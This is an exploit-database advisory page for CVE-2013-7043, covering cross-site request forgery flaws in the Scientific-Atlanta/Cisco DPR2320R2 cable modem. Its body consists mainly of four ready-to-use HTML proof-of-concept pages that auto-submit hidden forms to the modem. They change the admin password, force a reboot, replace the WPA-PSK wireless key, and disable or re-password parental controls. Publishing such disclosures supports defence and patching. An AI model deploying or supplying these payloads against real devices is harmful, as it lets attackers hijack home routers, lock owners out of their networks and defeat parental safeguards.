Index
Bugtraq
Pełna lista
Błędy
Sztuczki
Exploity
Dorks list
Tylko z CVE
Tylko z CWE
Bogus
Ranking
CVEMAP
Świeża lista CVE
Producenci
Produkty
Słownik CWE
Sprawdź nr. CVE
Sprawdź nr. CWE
Szukaj
W Bugtraq
W bazie CVE
Po autorze
Po nr. CVE
Po nr. CWE
Po producencie
Po produkcie
RSS
Bugtraq
CVEMAP
CVE Produkty
Tylko Błędy
Tylko Exploity
Tylko Dorks
Więcej
cIFrex
Facebook
Twitter
Donate
O bazie
Lang
Polish
English
Submit
DPR2320R2 [Scientific-Atlanta, Inc. Cisco ] - Multiple CSRF Vulnerability
2013-12-02 / 2013-12-18
Credit:
sajith
Risk:
Low
Local:
No
Remote:
Yes
CVE:
CVE-2013-7043
CWE:
CWE-352
Ogólna skala CVSS:
8.3/10
Znaczenie:
8.5/10
Łatwość wykorzystania:
8.6/10
Wymagany dostęp:
Zdalny
Złożoność ataku:
Średnia
Autoryzacja:
Nie wymagana
Wpływ na poufność:
Częściowy
Wpływ na integralność:
Częściowy
Wpływ na dostępność:
Pełny
(1) Attacker can change the modem authentication password using CSRF vulnerability .check the below POC <html lang="en"> <head> <title>POC by sajith shetty</title> </head> <body> <form action="http://192.168.0.1/goform/RgSecurity" id="formid" method="post"> <input type="hidden" name="Password" value="123456" /> <input type="hidden" name="PasswordReEnter" value="123456" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html> (2)Attacker can reboot modem using CSRF vulnerability(check below POC) <html lang="en"> <head> <title>POC by sajith shetty</title> </head> <body> <form action="http://192.168.0.1/goform/restart" id="formid" method="post"> <input type="hidden" name="Restart" value="" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html> (3)wireless settings can be exploited using CSRF vulnerability.below POC shows how password is changed for n/w authentication WPA-PSK with WPA-encryption set to TKIP(these setting can also be changed) <html lang="en"> <head> <title>POC by sajith shetty</title> </head> <body> <form action="https://192.168.0.1/goform/wlanSecurity" id="formid" method="post"> <input type="hidden" name="NetworkAuthentication" value="3" /> <input type="hidden" name="WpaEncryption" value="1" /> <input type="hidden" name="WpaPreSharedKey" value="12345678" /> <input type="hidden" name="WpaRekeyInterval" value="0" /> <input type="hidden" name="GenerateWepKeys" value="0" /> <input type="hidden" name="WepKeysGenerated" value="0" /> <input type="hidden" name="commitwlanSecurity" value="1" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html> (4)Parental control set up can be disabled or password set for parental set up can be changed by CSRF vulnerability[POC shown below] <html lang="en"> <head> <title>POC by sajith shetty</title> </head> <body> <form action="http://192.168.0.1/goform/RgParentalBasic" id="formid" method="post"> <input type="hidden" name="NewContentRule" value="" /> <input type="hidden" name="AddContentRule" value="0" /> <input type="hidden" name="ContentRules" value="0" /> <input type="hidden" name="RemoveContentRule" value="0" /> <input type="hidden" name="NewKeyword" value="" /> <input type="hidden" name="KeywordAction" value="0" /> <input type="hidden" name="NewDomain" value="" /> <input type="hidden" name="DomainAction" value="0" /> <input type="hidden" name="NewAllowedDomain" value="" /> <input type="hidden" name="AllowedDomainAction" value="0" /> <input type="hidden" name="ParentalPassword" value="1234" /> <input type="hidden" name="ParentalPasswordReEnter" value="1234" /> <input type="hidden" name="AccessDuration" value="30" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html>
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top